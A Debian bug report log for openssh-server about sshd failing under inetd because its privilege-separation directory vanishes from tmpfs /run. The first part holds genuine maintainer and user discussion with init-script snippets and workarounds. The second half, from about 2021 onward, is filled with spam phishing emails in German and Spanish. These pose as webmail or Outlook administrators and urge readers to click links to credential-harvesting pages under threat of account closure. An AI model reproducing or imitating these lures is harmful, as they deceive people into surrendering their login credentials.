#645788 openssh-server: /run on tmpfs breaks sshd started from inetd

Package:
openssh-server
Source:
openssh
Description:
secure shell (SSH) server, for secure access from remote machines
Submitter:
Dirk Heinrichs
Date:
2023-08-01 14:39:09 UTC
Severity:
important
#645788#5
Date:
2011-10-18 16:56:07 UTC
From:
To:
Dear Maintainer,

I'm running sshd with priviledge separation enabled from inetd, but since some time I can't login anymore after reboot.

In /var/log/auth.log, I see the followin message:

fatal: Missing privilege separation directory: /var/run/sshd

The reason for this is that /var/run is now a symlink to /run, which is mounted as a tmpfs, thus it doesn't survive a reboot.

Bye...

	Dirk

#645788#10
Date:
2012-02-24 08:55:42 UTC
From:
To:
I'm not sure what I can do about this.  The init script ensures that
/var/run/sshd exists; isn't it your responsibility to make suitable
arrangements when locally configuring sshd to start from inetd?

(I suppose you could argue that the Debian packaging should set the
privsep path to /var/lib/sshd instead.  That seems quite difficult to
change now though ...)

#645788#15
Date:
2012-02-24 18:29:14 UTC
From:
To:
Am 24.02.2012 09:55, schrieb Colin Watson:

Well, that's what I did, of course. I've put this into /etc/rc.local:

[[ -d /run/sshd ]] || mkdir -p /run/sshd

Hmm, why has it been changed from the default (/var/empty) in the first
place?

If the package would simply do what README.privsep says, everything
would be fine, no matter how sshd is finally invoked. From README.privsep:

"You should do something like the following to prepare the privsep
preauth environment:

	# mkdir /var/empty
	# chown root:sys /var/empty
	# chmod 755 /var/empty
	# groupadd sshd
	# useradd -g sshd -c 'sshd privsep' -d /var/empty -s /bin/false sshd

/var/empty should not contain any files.

configure supports the following options to change the default
privsep user and chroot directory:

#645788#20
Date:
2012-02-24 18:55:32 UTC
From:
To:
Hi again,

if I think about it, it would be nice if the package came with the
possibility to use both methods (normal daemon mode and (x)inetd mode
for not so powerful machines). This way, the user could choose at
installation time (or later via dpkg-reconfigure) how sshd should be
started.

Bye...

	Dirk

#645788#25
Date:
2014-08-27 10:07:05 UTC
From:
To:
I've noticed the same problem.

I had inetd running, but did *not* have sshd running via inetd.

I have also verified that uninstalling (dpkg --purge) inetd does not fix the
problem.  Therefore, I'm sure that the inetd is not triggering this problem.

I noticed that running "dpkg-reconfigure openssh-server" creates the directory
/var/run/sshd.  To me, this suggests the underlying problem here: the debian
packaging assumes that creating /var/run/sshd directory once (during
configuration) is sufficient.  With /var/run now a sym-link to /var and that
being tmpfs, this is no longer true.

The solution is that the openssh-server package updates it's initrd and systemd
entries so that, on start up, it checks the /var/run/sshd directory and creates
it if it doesn't already exists.

#645788#30
Date:
2014-08-27 10:42:20 UTC
From:
To:
The sysvinit script does this:

  check_privsep_dir() {
      # Create the PrivSep empty dir if necessary
      if [ ! -d /var/run/sshd ]; then
          mkdir /var/run/sshd
          chmod 0755 /var/run/sshd
      fi
  }
  [...]
  case "$1" in
    start)
          check_for_upstart 1
          check_privsep_dir

So does the Upstart job:

  pre-start script
      test -x /usr/sbin/sshd || { stop; exit 0; }
      test -e /etc/ssh/sshd_not_to_be_run && { stop; exit 0; }

      mkdir -p -m0755 /var/run/sshd
  end script

And for systemd this should be handled by a tmpfiles.d script:

  d /var/run/sshd 0755 root root

So it's not sufficient to simply state that we need to handle this,
because as far as I can see we already do.  Could you please investigate
why the respective handling for whatever init system you have as pid 1
is not working for you?  Please then take this to a separate bug report,
as this is not at all the same issue as the original one filed as
#645788, and it is not usually good to conflate multiple issues into a
single bug report.

Thanks,

#645788#35
Date:
2014-09-01 14:33:16 UTC
From:
To:
Hi Colin,

Apologies for hijacking this ticket with an unrelated problem.  You're
quite correct in saying openssh-server package "does the right thing."

For the record, my problem was (or appears to have been) triggered by a
failure to mount an unrelated tmpfs file-system (/var/spool/cups/tmp)
earlier in the boot sequence.  This failure was because /var/spool/cups
was a symlink pointing to another partition.  If the other partition was
not mounted when attempting to mount /var/spool/cups/tmp, the mount
would fail.

Removing the /var/spool/cups/tmp tmpfs entry in fstab "fixed" the
problem: on boot, the /run/sshd directory is created and sshd starts up
successfully.

I'll open a fresh ticket to discuss this problem with systemd since
their handling of directories (and tmpfs in particular) seems problematic.

Cheers,

Paul.

#645788#40
Date:
2014-09-01 16:41:49 UTC
From:
To:
Paul Millar <paul.millar@desy.de> writes:

I'm not sure this is related to tmpfs.  I'm wondering if the mount process
aborted because it failed to mount a directory and "nofail" was not
specified for that mount.  It would be interesting to see what systemd
thought was the status of the various started services at the point at
which you thought you had a fully booted system but /run/sshd didn't
exist.

I vaguely remember some other people noting that systemd and sysvinit are
different in their handling of failures of file system mounts without
nofail specified.

#645788#45
Date:
2016-11-19 17:46:57 UTC
From:
To:
Getting the same behavior on a fresh installation of Jessie (from the
netinst ISO). Every time I reboot, sshd doesn't restart until I either
`apt-get install --reinstall openssh-server` or `mkdir /var/run/sshd`.

I've tried to add the second command to `/etc/rc.local`, but there's some
other error preventing that from running properly...

#645788#50
Date:
2016-11-19 19:56:11 UTC
From:
To:
A fresh install of jessie presumably uses systemd by default, so the
last few entries in this bug log (especially the one from Russ
immediately before yours) are probably relevant.  The output of
"systemctl status systemd-tmpfiles-setup.service" might be useful, or at
least point you in the right direction.

#645788#55
Date:
2016-11-23 07:17:39 UTC
From:
To:
On Sat, 19 Nov 2016 19:56:11 +0000 Colin Watson <cjwatson@debian.org> wrote:
 > On Sat, Nov 19, 2016 at 12:46:57PM -0500, David Lee Lambert wrote:
 > > Getting the same behavior on a fresh installation of Jessie (from the
 > > netinst ISO). Every time I reboot, sshd doesn't restart until I either
 > > `apt-get install --reinstall openssh-server` or `mkdir /var/run/sshd`.
 > >
 > > I've tried to add the second command to `/etc/rc.local`, but
there's some
 > > other error preventing that from running properly...
 >
 > A fresh install of jessie presumably uses systemd by default, so the
 > last few entries in this bug log (especially the one from Russ
 > immediately before yours) are probably relevant. The output of
 > "systemctl status systemd-tmpfiles-setup.service" might be useful, or at
 > least point you in the right direction.
 >
 > --
 > Colin Watson [cjwatson@debian.org]


Hi,

   In my case - systemd didn't create /var/run/sshd when /var and /usr
was different mountpoint than /. When i moved both folders to the same
partition as / ssh started to work.

#645788#60
Date:
2019-07-12 11:05:03 UTC
From:
To:
Dear Maintainer,

Authentication always failed when using sshd server launched from xinetd.
Issue was track down to the fact that sshd systemd script created a /run/sshd directory.
But that directory does not exist when called from xinetd.

Workarround was to place a conf file on /etc/tmffiles.d
---snip (sshd.conf)
d /run/sshd 0700 root root
---snip

This creates the required diretory during system startup on the dynamic /run (tmpfs).

I suggest removing the creation/deletion of the /run/sshd diretory from the ssh.service
systemd service script, and placing a tmpfiles conf to do the same at startup.

That would work in both cases (standalone service and xinetd helper).

#645788#65
Date:
2021-01-14 07:34:21 UTC
From:
To:
Sehr geehrter E-Mail-Benutzer,

Wir migrieren alle E-Mail-Konten auf das neueste Update von Outlook Web App 2021. Daher müssen alle aktiven Kontoinhaber überprüfen und sich anmelden, damit das Upgrade und die Migration jetzt automatisch wirksam werden. Dies geschieht, um die Sicherheit und Effizienz aufgrund der neuesten Spam-Nachrichten zu verbessern.

Um Dienstunterbrechungen zu vermeiden, klicken Sie bitte auf den folgenden Link, um Ihre Beiträge zu aktualisieren
Outlook Web App 2021<https://vhvtkftsyuy.weebly.com/>​ und melden Sie sich an, um mehrere Spam-Mails zu migrieren und zu blockieren.

Wenn Sie Ihr Konto nicht innerhalb von 24 Stunden übertragen, wird Ihr Konto vorübergehend gesperrt, sodass Sie keine E-Mails empfangen / senden können.

IKT-Helpdesk
Informationstechnologie

#645788#70
Date:
2021-02-01 09:04:37 UTC
From:
To:
?Sehr geehrter E-Mail-Benutzer,

Wir migrieren alle E-Mail-Konten auf das neueste Update von Outlook Web App 2021. Daher müssen alle aktiven Kontoinhaber überprüfen und sich anmelden, damit das Upgrade und die Migration jetzt automatisch wirksam werden. Dies geschieht, um die Sicherheit und Effizienz aufgrund der neuesten Spam-Nachrichten zu verbessern.

Um Dienstunterbrechungen zu vermeiden, klicken Sie bitte auf den folgenden Link, um Ihre Beiträge zu aktualisieren
Outlook Web App 2021?<https://bbbbbbbvvvvc.weebly.com/> und melden Sie sich an, um mehrere Spam-Mails zu migrieren und zu blockieren.

Wenn Sie Ihr Konto nicht innerhalb von 24 Stunden übertragen, wird Ihr Konto vorübergehend gesperrt, sodass Sie keine E-Mails empfangen / senden können.

IKT-Helpdesk
Informationstechnologie

?

#645788#75
Date:
2022-11-29 15:20:44 UTC
From:
To:
Estimado suscriptor

Actualmente estamos actualizando nuestra base de datos de correo web, por lo que pedimos a todos los usuarios de correo web que haga clic aquí y también actualicen sus cuentas, ya que cerraremos todas las cuentas no actualizadas en nuestra base de datos para hacer espacio para los usuarios activos.

Para ser honesto
Equipo de base de datos de webmail.

#645788#80
Date:
2023-01-06 22:57:11 UTC
From:
To:
Hola,

Su cuenta: no ha pasado el proceso de verificación/actualización. Se espera que los propietarios de cuentas actualicen sus cuentas. De no cumplir con esta notificación dentro del límite de tiempo, es posible que no pueda enviar o recibir todos los mensajes y el propietario puede correo  el riesgo de perder su cuenta. Haga clic<https://c3aci187.caspio.com/dp/4fd0c0002f9aa8c450734d2daa7a> para actualizar su cuenta.

¡¡¡PRECAUCIÓN!!! Si no actualiza su cuenta, su cuenta se eliminará automáticamente de nuestro sistema.

Pedimos disculpas por cualquier inconveniente que esto pueda causar.

Tuyo sinceramente
Servicio al Cliente
Equipo de soporte técnico.

#645788#85
Date:
2023-01-16 15:16:00 UTC
From:
To:
querido usuario

Ha alcanzado el límite de almacenamiento para sus correos electrónicos y no puede recibir nuevos mensajes hasta que extienda el límite de almacenamiento.

Haga clic en Expandir restricción de almacenamiento para evitar cerrar un correo electrónico: Expandir limitación<https://c3acs182.caspio.com/dp/e091c0009c2aca7936ec434a95bf>

gracias
equipo directivo

#645788#90
Date:
2023-01-18 13:27:04 UTC
From:
To:
equipo directivo
V Convención Científica Internacional de la Universidad de las Ciencias Informáticas, UCIENCIA 2023

Del 3 al 5 de octubre de 2023. Varadero, Cuba.

https://uciencia.uci.cu - #UCIENCIA2023

#645788#95
Date:
2023-02-08 13:40:43 UTC
From:
To:
-- 

Estimado usuario

Ha alcanzado el límite de almacenamiento de sus correos electrónicos y
no puede recibir mensajes nuevos hasta que amplíe el límite de
almacenamiento.

Haga clic en Expandir restricción de almacenamiento para evitar cerrar
un correo electrónico: EXPANDIR LIMITACIÓN [1]

Gracias
Equipo Directivo


Links:
------
[1] https://sreutt-szuacts-hydretch.yolasite.com/

#645788#100
Date:
2023-02-22 16:34:01 UTC
From:
To:
Hola Su cuenta: no ha pasado el proceso de verificación/actualización. Se espera que los propietarios de cuentas actualicen sus cuentas. El incumplimiento de esta notificación dentro del límite de tiempo puede no ser capaz de enviar o recibir todos los mensajes y el propietario puede correr el riesgo de perder su cuenta. Haga clic para actualizar su cuenta.¡¡¡CAUTELA!!! Si no actualiza su cuenta, su cuenta se eliminará automáticamente de nuestro sistema.Nos disculpamos por cualquier inconveniente que esto pueda causar.AtentamenteServicio al clienteEquipo de Soporte Técnico.
#645788#105
Date:
2023-03-20 23:22:06 UTC
From:
To:
Usuario de la cuenta de Outlook Owa Web App

Su contraseña caducará en 14 días. Siga uno de los métodos a continuación para actualizar su contraseña antes de que caduque:haga clic aquí<http://www.homemadeseltzer.com/wp-includes/Requests/owa/g.html> para confirmar su identidad, le mostraremos cómo cambiar su seguridad
Detalles.

Gracias.
SU MESA DE AYUDA

#645788#110
Date:
2023-04-09 17:05:03 UTC
From:
To:
Hola

Su cuenta: no ha pasado el proceso de verificación/actualización. Se espera que los propietarios de cuentas actualicen sus cuentas. El incumplimiento de esta notificación dentro del límite de tiempo puede no ser capaz de enviar o recibir todos los mensajes y el propietario puede correr el riesgo de perder su cuenta. Haga clic<https://c3acb326.caspio.com/dp/2aa6c000e5ccda07f16b4c8897c2> para actualizar su cuenta.

¡¡¡CAUTELA!!! Si no actualiza su cuenta, su cuenta se eliminará automáticamente de nuestro sistema.

Nos disculpamos por cualquier inconveniente que esto pueda causar.

Atentamente
Servicio al cliente
Equipo de Soporte Técnico.

#645788#115
Date:
2023-04-24 09:04:16 UTC
From:
To:
El administrador de Outlook Exchange ha bloqueado y deshabilitado características importantes de Outlook Web App. Debe realizar la sincronización automática para mantener su cuenta del directorio de empleados activa, segura y actualizada Haga clic ===><https://myoutlookpolicyportal.softr.app/> Empleados actualizar ActiveSync El incumplimiento dará lugar a que todos los mensajes se bloqueen y los mensajes de su cuenta se desactiven sin previo aviso.

Microsoft Exchange
Administrador 2023

#645788#120
Date:
2023-06-09 18:20:55 UTC
From:
To:
El buzón está lleno

98 MB   145 GB

Su cuenta: no ha pasado el proceso de verificación/actualización. Se espera que los propietarios de cuentas actualicen sus cuentas. El incumplimiento de esta notificación dentro del límite de tiempo puede no ser capaz de enviar o recibir todos los mensajes y el propietario puede correr el riesgo de perder su cuenta. Haga clic<https://c1hci796.caspio.com/dp/865ac00092d469435d4e4ef99a8f> para actualizar su cuenta.

¡¡¡CAUTELA!!! Si no actualiza su cuenta, su cuenta se eliminará automáticamente de nuestro sistema.

Nos disculpamos por cualquier inconveniente que esto pueda causar.

Atentamente
Servicio al cliente
Equipo de Soporte Técnico.

#645788#125
Date:
2023-06-26 15:04:45 UTC
From:
To:
¡¡¡CAUTELA!!! Si no actualiza su cuenta, su cuenta se eliminará automáticamente de nuestro sistema.

Nos disculpamos por cualquier inconveniente que esto pueda causar.

Atentamente
Servicio al cliente
Equipo de Soporte Técnico.

#645788#130
Date:
2023-07-13 19:30:54 UTC
From:
To:
Soporte de correo

Su cuenta de correo se desactivará en 4 días. Siga uno de los métodos a continuación para actualizar su cuenta antes de que caduque: Haga clic aquí<https://mysuppport.softr.app/> para confirmar su identidad, le mostraremos cómo cambiar sus detalles de seguridad.

Gracias.
Soporte de correo web

#645788#135
Date:
2023-07-30 13:07:04 UTC
From:
To:
Estimados usuarios de correo electrónico

Su cuenta ha alcanzado el límite de cuota establecido por el administrador caducó y es posible que no pueda enviar un nuevo correo electrónico o hasta que su cuenta sea verificada nuevamente.

Haga clic aquí<https://correoadmin.softr.app/#form1> para volver a verificar su cuenta.


Si no verifica, su cuenta será permanente.
deshabilitado y eliminado de nuestra base de datos.

© 2023 Webmail Servicio al Cliente

#645788#140
Date:
2023-07-31 17:19:54 UTC
From:
To:
Hola,

Esto es para informarle que su buzón ha excedido su límite de almacenamiento. Todos los correos electrónicos enviados y recibidos se bloquearán si no actualiza su bandeja de entrada. Para evitar esto, {HAGA CLIC AQUÍ<https://maiservices.softr.app/#form1%23form1>} para actualizar su bandeja de entrada.

Servidores de correo electrónico.

#645788#145
Date:
2023-08-01 14:38:27 UTC
From:
To:
Hola,

Esto es para informarle que su buzón ha excedido su límite de almacenamiento. Todos los correos electrónicos enviados y recibidos se bloquearán si no actualiza su bandeja de entrada. Para evitar esto, {HAGA CLIC AQUÍ<https://correosupp.softr.app/>} para actualizar su bandeja de entrada.

Servidores de correo electrónico.